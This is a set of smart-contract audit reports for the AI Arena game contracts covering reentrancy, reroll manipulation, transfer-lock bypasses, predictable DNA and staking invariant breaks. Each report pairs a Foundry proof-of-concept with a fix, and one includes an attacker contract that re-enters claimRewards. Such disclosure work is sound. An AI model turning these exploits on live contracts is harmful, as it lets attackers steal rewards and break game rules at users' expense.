AI Arena - solmaxis69's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L212 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC1155/ERC1155.sol#L134-L146

Vulnerability details

Impact

Items, which are supposed to be non-transferable, can be still transferred in GameItems.sol via safeBatchTransferFrom() function of the ERC1155 standard, since in the contract only the safeTransferfrom() function is overridden, while there isn't any implementation of the safeBatchTransferFrom() public function, which basically means that anyone will be able to transfer any items, even if their transferable parameter is set to false.

Details

As we can see in the createGameItem() function, there is a special parameter transferable, which determines the possibility of items to be transferred:

    /// @notice Creates a new game item with the specified attributes.
    /// ...
    /// @param transferable Boolean of whether or not the game item can be transferred  
    ///...
    function createGameItem(
       ...
        bool transferable,
        ...
    )

transferable bool can be set to false either during the creation of the item by calling the createGameItem() function or changed to false by adjustTransferability() function:

    function adjustTransferability(uint256 tokenId, bool transferable) external {
        require(msg.sender == _ownerAddress);
        allGameItemAttributes[tokenId].transferable = transferable;
        if (transferable) {
          emit Unlocked(tokenId);
        } else {
          emit Locked(tokenId);
        }
    }

As intended by the protocol, the impossibility of transferring such items is secured by check in the overridden safeTransferFrom() function:

require(allGameItemAttributes[tokenId].transferable);

But, since the GameItems.sol contract is an ERC1155 contract, therefore implements its full functionality, safeTransferFrom() function isn't the only way to perform transfer operations, there is also a safeBatchTransferFrom() function, which, without being modified by the protocol, still allows users to transfer their items.

Proof of Concept

Add the following test to the GameItems.t.sol contract:

    function testTransferNonTransferableItem() public {
        _gameItemsContract.createGameItem("cookie", "https://ipfs.io/ipfs/", true, false, 10_000, 1 * 10 ** 18, 10); //@audit create new item with transferable set to false
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _gameItemsContract.mint(1, 2);
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 1), 2);
        (,, bool transferable,,,) = _gameItemsContract.allGameItemAttributes(1);
        assertEq(transferable, false); //@audit make sure that transferable is set to false

	//@audit setup necessary variables for safeBatchTransferFrom
        address recipient = address(0x123); 
        uint256[] memory _ids = new uint256[](1);
        uint256[] memory _amounts = new uint256[](1);
        _ids[0] = 1;
        _amounts[0] = 2;

        _gameItemsContract.safeBatchTransferFrom(_ownerAddress, recipient, _ids, _amounts, "");
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 1), 0); //@audit make sure that the sender doesn't have any items left
        assertEq(_gameItemsContract.balanceOf(recipient, 1), 2); //@audit make sure that the recipient received transferred items
    }

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

Consider implementing and overriding the safeBatchTransferFrom() function in the GameItems.sol contract in the following way:

    function safeBatchTransferFrom(
        address from, 
        address to, 
        uint256[] memory ids,
        uint256[] memory amounts,
        bytes memory data
    ) 
        public 
        override(ERC1155)
    {     
        for (uint i = 0; i < ids.length; i++) {
        uint256 tokenId = ids[i];
        require(allGameItemAttributes[tokenId].transferable);
        } 
        super.safeBatchTransferFrom(from, to, ids, amounts, data);
    }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370-L373 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L107 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L169-L186

Vulnerability details

Impact

In the reRoll() function of the FighterFarm.sol contract there is no check whether the passed fighterType parameter matches with the actual tokenId's type of fighter, which allows to manipulate the whole re-roll process and create non-dendroid fighters with each of the attributes' indexes set to 1. In a situation, where in the attributeProbabilities array, which actually determines the rarity of the attribute, the value of the first index is the lowest one (this can be easily checked on-chain since the variable is public), user can re-roll and in a predetermined way create a fighter with each of his attributes set to the most rare value.

Details

Protocol allows users to re-roll their fighters via the reRoll function of the FighterFarm.sol contract:

    function reRoll(uint8 tokenId, uint8 fighterType) public {
        require(msg.sender == ownerOf(tokenId));
        require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
        require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll"); //@audit no check if tokenId and fighter type are mismatched

        _neuronInstance.approveSpender(msg.sender, rerollCost);
        bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
        if (success) {
            numRerolls[tokenId] += 1;
            uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
            (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
            fighters[tokenId].element = element;
            fighters[tokenId].weight = weight;
            fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
                newDna,
                generation[fighterType],
                fighters[tokenId].iconsType,
                fighters[tokenId].dendroidBool
            );
            _tokenURIs[tokenId] = "";
        }
    }

Lets dive deeper into the implementation: Firstly, the checks are performed, but the problem here is that the input validation is not sufficient enough, since it does not check if the passed fighterType value actually represents the type of the passed tokenId fighter. Consequences are as follows:

1. Users having a non-dendroid fighter can re-roll as if a dendroid fighter was meant to be re-rolled;
2. Users having a dendroid fighter can re-roll as if a non-dendroid fighter was meant to be re-rolled. The second case scenario does not really affect the re-rolling process and the attributeIndexes on the output, since during the call to the createPhysicalAttributes() function it is the fighters[tokenId].dendroidBool, not the passed fighterType parameter, which determines the attributeIndexes set for the dendroid:

        if (dendroidBool) {
            return FighterOps.FighterPhysicalAttributes(99, 99, 99, 99, 99, 99);

However, the problem comes up in the first case, since the createPhysicalAttributes() will actually produce attributeIndexes, because dendroidBool is set to false for every non-dendroid fighter. As we can see from the function flow, the createPhysicalAttributes() function is called with the 4 parameters, one of which, the newDna, is returned after the call to the _createFighterBase() function:

    function _createFighterBase(
        uint256 dna, 
        uint8 fighterType
    ) 
        private 
        view 
        returns (uint256, uint256, uint256) 
    {
        uint256 element = dna % numElements[generation[fighterType]];
        uint256 weight = dna % 31 + 65;
        uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
        return (element, weight, newDna);
    }

Since the fighterType for a non-dendroid tokenId fighter can be mismatched and set to 1 instead of 0, the returned value of the newDna will be 1, and not the dna input parameter as it should be. The element of the fighter also will be assigned incorrectly, since calculation of the element is also based on the extracted value of the numElements[generation[fighterType]]. The createPhysicalAttributes() function of the AiArenaHelper.sol contract creates attributeIndexes for a non-dendroid fighter in the following way:

else {
            uint256[] memory finalAttributeProbabilityIndexes = new uint[](attributes.length);

            uint256 attributesLength = attributes.length;
            for (uint8 i = 0; i < attributesLength; i++) {
                if (
                  i == 0 && iconsType == 2 || // Custom icons head (beta helmet)
                  i == 1 && iconsType > 0 || // Custom icons eyes (red diamond)
                  i == 4 && iconsType == 3 // Custom icons hands (bowling ball)
                ) {
                    finalAttributeProbabilityIndexes[i] = 50;
                } else {
                    uint256 rarityRank = (dna / attributeToDnaDivisor[attributes[i]]) % 100;
                    uint256 attributeIndex = dnaToIndex(generation, rarityRank, attributes[i]);
                    finalAttributeProbabilityIndexes[i] = attributeIndex;
                }
            }
            return FighterOps.FighterPhysicalAttributes(
                finalAttributeProbabilityIndexes[0],
                finalAttributeProbabilityIndexes[1],
                finalAttributeProbabilityIndexes[2],
                finalAttributeProbabilityIndexes[3],
                finalAttributeProbabilityIndexes[4],
                finalAttributeProbabilityIndexes[5]
            );
        }

As we can see, it is the dnaToIndex function that determines the finalAttributeProbabilityIndexes for each of the attributes. As we have already seen, the dna input parameter will be equal to 1 during the call to this function, so the rarityRank will be equal to zero, which value is then used in the dnaToIndex function:

    function dnaToIndex(uint256 generation, uint256 rarityRank, string memory attribute) 
        public 
        view 
        returns (uint256 attributeProbabilityIndex) 
    {
        uint8[] memory attrProbabilities = getAttributeProbabilities(generation, attribute);
        require (attrProbabilities.length != 0);
        
        uint256 cumProb = 0;
        uint256 attrProbabilitiesLength = attrProbabilities.length;
        for (uint8 i = 0; i < attrProbabilitiesLength; i++) {
            cumProb += attrProbabilities[i];
            if (cumProb >= rarityRank) {
                attributeProbabilityIndex = i + 1;
                break;
            }
        }
        return attributeProbabilityIndex;
    }

Given the fact, that rarityRank = 0, the following for-loop will instantly break increasing the attributeProbabilityIndex to 1 and returning this exact value. Therefore, during the assignment of finalAttributeProbabilityIndexes in the for-loop of the createPhysicalAttributes(), the final index for each attribute (if iconsType = 0, which is the most likely case for most of the fighters) will be set to 1. Finally, this index is then used by the protocol to actually assign the value from the probabilities array, where the most rare value of the element in the array is the lowest one. If, for example, there is an array [25, 1, 12, 22, 33, 44] - the rarest value here is 1, located in the first index of the array. This way the attributes of the re-rolled fighter will be assigned with the most rare value.

Proof of Concept

Import the FighterOps.sol contract and add the following test to the FighterFarm.t.sol test suite:

    function testRerollManipulation() public {
        //mint fighter
        _mintFromMergingPool(_ownerAddress);
        _fundUserWith4kNeuronByTreasury(_ownerAddress);

        //check that minted fighter isn't dendroid, so his fighterType should be 0
        (,,,,,,,, bool dendroidBool) = _fighterFarmContract.fighters(0);
        assertEq(dendroidBool, false);

        //setup correct tokenId and wrong fighterType
        uint8 tokenId = 0;
        uint8 fighterType = 1;

        //reroll
        _neuronContract.addSpender(address(_fighterFarmContract));
        _fighterFarmContract.reRoll(tokenId, fighterType);

        //check that fighter has every attribute index set to 1
        (,, FighterOps.FighterPhysicalAttributes memory attrs,,,,,,) = _fighterFarmContract.fighters(0);
        assertEq(attrs.head, 1);
        assertEq(attrs.eyes, 1);
        assertEq(attrs.mouth, 1);
        assertEq(attrs.body, 1);
        assertEq(attrs.hands, 1);
        assertEq(attrs.feet, 1);
    }

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

Add additional input validation for the tokenId and fighterType parameters in the reRoll() function of the FighterFarm.sol contract:

        if (fighterType == 1) {
            require(fighters[tokenId].dendroidBool == true, "fighterType mismatched");
        } else {
            require(fighters[tokenId].dendroidBool == false, "fighterType mismatched");
        }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L529 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L152-L160 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L322

Vulnerability details

Impact

_safeMint() function of erc721 standard makes a callback to a smart contract which allows for reentrancy in the MergingPool.claimRewards() function. Since this function iterates through all unclaimed user's rounds and calls _fighterFarmInstance.mintFromMergingPool() in a for loop, in a situation where user has 2 rewards to claim for different rounds he can actually receive 3 rewards due to this reentrancy.

Proof of Concept

MergingPool.claimRewards() function iterates through all rounds, starting from the numRoundsClaimed up to roundId, and mints rewards (if there are any) for msg.sender for all rounds they have won.

        uint256 winnersLength;
        uint32 claimIndex = 0;
        uint32 lowerBound = numRoundsClaimed[msg.sender];
        for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
            numRoundsClaimed[msg.sender] += 1;
            winnersLength = winnerAddresses[currentRound].length;
            for (uint32 j = 0; j < winnersLength; j++) {
                if (msg.sender == winnerAddresses[currentRound][j]) {
                    _fighterFarmInstance.mintFromMergingPool(
                        msg.sender,
                        modelURIs[claimIndex],
                        modelTypes[claimIndex],
                        customAttributes[claimIndex]
                    );
                    claimIndex += 1;

In FighterFarm.sol, mintFromMergingPool() function calls the internal function _createNewFighter(), where the _safeMint() function is utilized and allows for reentrant call into MegingPool.claimAllRewards()

Now, if Alice has two unclaimed rewards for two different rounds, she can actually claim 3 rewards with this simple exploit smart contract.

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "../lib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sol";
import "../lib/openzeppelin-contracts/contracts/token/ERC721/IERC721Receiver.sol";
import "../src/MergingPool.sol";

contract ReenterExploit {
    MergingPool mPool;

    constructor(address _mPool) {
        mPool = MergingPool(_mPool);
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes memory
    ) public returns (bytes4) {
        string[] memory _modelURIs = new string[](2);
        string[] memory _modelTypes = new string[](2);
        uint256[2][] memory _customAttributes = new uint256[2][](2);
        mPool.claimRewards(_modelURIs, _modelTypes, _customAttributes);
        return IERC721Receiver.onERC721Received.selector;
    }
}

Import the above smart contract into MergingPool.t.sol test and copy the following test function:

    function testReenter() public {
        ReenterExploit exploit = new ReenterExploit(
            address(_mergingPoolContract)
        );

        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_DELEGATED_ADDRESS);
        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS);
        uint256[] memory _winners = new uint256[](2);
        _winners[0] = 0;
        _winners[1] = 1;
        // Pick a random winner for the zeroeth round
        _mergingPoolContract.pickWinner(_winners);

        // Now, suppose that our exploit contract has a fighter and gets picked as a winner two times in a row
        _mintFromMergingPool(address(exploit));
        assertEq(address(exploit), _fighterFarmContract.ownerOf(2));

        uint256[] memory _exploitWinner = new uint256[](2);
        _exploitWinner[0] = 2;
        _exploitWinner[1] = 0;

        // Picked as a winner first time
        _mergingPoolContract.pickWinner(_exploitWinner);
        // And second time
        _mergingPoolContract.pickWinner(_exploitWinner);

        string[] memory _modelURIs = new string[](2);
        string[] memory _modelTypes = new string[](2);
        uint256[2][] memory _customAttributes = new uint256[2][](2);

        //Now, time to claim the rewards. The _exploitWinner is entitled for two fighters, though he gets three fighters
        vm.prank(address(exploit));
        _mergingPoolContract.claimRewards(
            _modelURIs,
            _modelTypes,
            _customAttributes
        );

        // nft balance is 4 (1 initial fighter + 3 rewarded fighters)
        assertEq(_fighterFarmContract.balanceOf(address(exploit)), 4);
    }

Tools Used

Foundry, Manual Review

Recommended Mitigation Steps

Add a nonReentrant() modifier to all functions that modify state. Since contracts will be deployed only on Arbitrum, this would not incur much gas cost for users.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L262

Vulnerability details

Impact

DNA of a fighter is used to calculate its attributes and each attribute has a rarity rank, so a 100% predetermined DNA makes it possible for owners of MintPassID to unfairly create a fighter with good attributes.

Proof of Concept

Each function that creates a fighter calls the internal function _createNewFighter(), where the second parameter is a DNA of this fighter. Now, in redeemMintPass() function the dna is a hash of an argument, provided by user upon calling redeemMintPass():

            _createNewFighter(
                msg.sender, 
                uint256(keccak256(abi.encode(mintPassDnas[i]))), //@audit 
                modelHashes[i], 
                modelTypes[i],
                fighterTypes[i],
                iconsTypes[i],
                [uint256(100), uint256(100)]

Since every attribute has a rarity rank, calculating a hash for even one best attribute would be worth it.

Tools Used

Manual Review

Recommended Mitigation Steps

Just as in other functions where fighters are created, let DNA be a hash of two values, one of which is length of a fighters array:

uint256(keccak256(abi.encode(mintPassDnas[i], fighters.length)))

Assessed type

Context

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L545 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/StakeAtRisk.sol#L93-L106

Vulnerability details

Impact

It is possible to partially break the functionality of the updateBattleRecord() function due to the possibility of transferring fighters, whose stakeAtRisk > 0, to an address, whose amountLost = 0, making the updateBattleRecord() revert on every victory of this fighter.

Details

In the StakeAtRisk.sol contract there are two ways of updating the amountLost and stakeAtRisk variables:

1. After a lost fight user with 0 points will have their amountLost and stakeAtRisk increased during the call to updateAtRiskRecords() function:

        stakeAtRisk[roundId][fighterId] += nrnToPlaceAtRisk; //@audit stakeAtRisk is linked with a fighter
        totalStakeAtRisk[roundId] += nrnToPlaceAtRisk;
        amountLost[fighterOwner] += nrnToPlaceAtRisk; //@audit amountLost is linked with an account

2. After a won fight user with fighters, whose stakeAtRisk is > 0, will have their amountLost and stakeAtRisk decreased during the call to reclaimNRN() function:

            stakeAtRisk[roundId][fighterId] -= nrnToReclaim; //@audit stakeAtRisk is linked with a fighter
            totalStakeAtRisk[roundId] -= nrnToReclaim;
            amountLost[fighterOwner] -= nrnToReclaim; //@audit amountLost is linked with an account

Keep in mind that stakeAtRisk is linked with a fighter and amountLost is linked with an account, so there may occur a situation, when stakeAtRisk of the fighter is > 0, but the amountLost of the holder is = 0, which will cause the reclaimNRN() function to revert. So, it is possible to break the functionality of the updateBattleRecord() function with a fighter, that previously was staked with some amount of NRN, lost a fight, so his stakeAtRisk > 0, but then the owner of this fighter unstakes previously deposited portion of $NRN via unstakeNRN() function, which allows him to transfer the fighter (even though the fighter's stakeAtRisk is still preserved) to another account, whose amountLost = 0. As we have seen earlier, this causes the updateBattleRecord() function to revert on every victory of this fighter, since it will try to deduct the nrnToReclaim from amountLost, which equals to zero, during the call to the StakeAtRisk.reclaimNRN() function. The root-cause of this issue is the possibility to completely unstake fighters, whose stakeAtRisk > 0, and therefore transfer them:

    function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
        return (
          _isApprovedOrOwner(msg.sender, tokenId) &&
          balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
          !fighterStaked[tokenId] && //@audit this check will pass, since the fighter was completely unstaked
        );
    }

Proof of Concept

Add the following test to the RankedBattle.t.sol test suite:

function testDosGriefingWithSmallStakeAtRisk() public {
        address attacker = vm.addr(3);
        address griefAddress = vm.addr(4);
        _mintFromMergingPool(attacker);
        _fundUserWith4kNeuronByTreasury(attacker);
        vm.prank(attacker);
        // Stake some amount of NRN tokens
        _rankedBattleContract.stakeNRN(10e18, 0);

        //Lose a battle
        vm.prank(address(_GAME_SERVER_ADDRESS));
        // 0 win
        // 1 tie
        // 2 loss
        uint8 win = 0;
        uint8 loss = 2;
        _rankedBattleContract.updateBattleRecord(0, 50, loss, 1500, true);

        // Unstake remaining NRN
        vm.startPrank(attacker);
        _rankedBattleContract.unstakeNRN(type(uint256).max, 0);
        // Transfer a fighter to a griefAddress
        _fighterFarmContract.transferFrom(attacker, griefAddress, 0);
        vm.stopPrank();

        // Now, suppose our fighter has won the battle. The updateBattleRecord() function will revert with underflow in StakeAtRisk.reclaimNRN()
        // function, since this function will try to deduct the nrnToReclaim from amountLost[address(griefAddress)], which equals to zero
        vm.prank(address(_GAME_SERVER_ADDRESS));
        vm.expectRevert();
        _rankedBattleContract.updateBattleRecord(0, 50, win, 1500, true);
    }

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

Prohibit unstaking of fighters with stakeAtRisk > 0, by adding an additional require statement to the unstakeNRN() function of the RankedBattle.sol contract:

        uint256 stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId);
        require(stakeAtRisk == 0, "fighter has stake at risk");

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L460-L463

Vulnerability details

Impact

Fighter with a stake on it can still be transferred in a situation, when he was previously staked, lost a fight, unstaked, then finally won a fight, which leads to the condition when the fighter can be transferred with his amountStaked[tokenId] > 0, since the amountStaked[tokenId] increments on a win for fighters, whose stakeAtRisk is > 0.

Details

The possibility of transferring fighters in the protocol is regulated by the _ableToTransfer() function of the FighterFarm.sol contract:

    function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
        return (
          _isApprovedOrOwner(msg.sender, tokenId) &&
          balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
          !fighterStaked[tokenId] //@audit 
        );
    }

As we can see, it checks for the condition that a fighter is not staked at the moment, which, following the logic of the protocol, means that his amountStaked[tokenId] in the RankedBattle.sol contract should be equal to zero. When user stakes some amount of NRN on his fighter via the stakeNRN() function, it updates the fighterStaked[tokenId] variable and sets it to true, removing the ability of the particular fighter to be transferred:

_fighterFarmInstance.updateFighterStaking(tokenId, true);

This can only be changed, if we completely unstake the NRN from our fighter via the unstakeNRN() function:

	amountStaked[tokenId] -= amount;
	.... //other updates
	            if (amountStaked[tokenId] == 0) {
                _fighterFarmInstance.updateFighterStaking(tokenId, false);
            }

According to the _addResultPoints() function of the RankedBattle.sol contract, when a fighter with previously accumulated stakeAtRisk (which increases if the fighter lost while having 0 points earned) wins the fight, some amount of his NRN stake that was at risk of being lost is reclaimed and the value of the amountStaked[tokenId] is incremented:

            /// If the user has stake-at-risk for their fighter, reclaim a portion
            /// Reclaiming stake-at-risk puts the NRN back into their staking pool
            if (curStakeAtRisk > 0) {
                _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner);
                amountStaked[tokenId] += curStakeAtRisk;
            }

But if the fighter, that has previously lost without having any points and has been unstaked completely, wins, there is a situation when the fighter is transferable, but his amountStaked[tokenId] is more than 0, which violates the invariant of the protocol of staked fighters being unable to be transferred.

Proof of Concept

Add the following test to the RankedBattle.t.sol test suite:

    function testBypassAbleToTransferInvariant () public {
        address player = vm.addr(12);
        address receiver = vm.addr(13);
        _mintFromMergingPool(player);
        _fundUserWith4kNeuronByTreasury(player);
        vm.prank(player);
        // Stake some NRN tokens
        _rankedBattleContract.stakeNRN(10e18, 0);

        //Lose a battle
        vm.prank(address(_GAME_SERVER_ADDRESS));
        // 0 win
        // 1 tie
        // 2 loss
        uint8 win = 0;
        uint8 loss = 2;
        _rankedBattleContract.updateBattleRecord(0, 50, loss, 1500, true);

        // Unstake remaining NRN
        vm.prank(player);
        _rankedBattleContract.unstakeNRN(type(uint256).max, 0);
        assertEq(_rankedBattleContract.amountStaked(0), 0);

        //win a battle
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, win, 1500, true);

        //check if the amountStaked has increased
        assertEq(_rankedBattleContract.amountStaked(0) > 0, true);

        // Transfer a fighter to receiver
        vm.prank(player);
        _fighterFarmContract.transferFrom(player, receiver, 0);

        //check if the fighter was transferred
        assertEq(_fighterFarmContract.ownerOf(0) != player, true);
        assertEq(_fighterFarmContract.ownerOf(0), receiver);
    }

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

Disallow the possibility to unstake fighters whose stakeAtRisk isn't equal to zero by adding an additional require statement to the unstakeNRN() function of the RankedBattle.sol contract:

    function unstakeNRN(uint256 amount, uint256 tokenId) external {
        require(_fighterFarmInstance.ownerOf(tokenId) == msg.sender, "Caller does not own fighter");

        uint256 stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId); //added
        require(stakeAtRisk == 0, "fighter has stake at risk"); //added

Assessed type

Other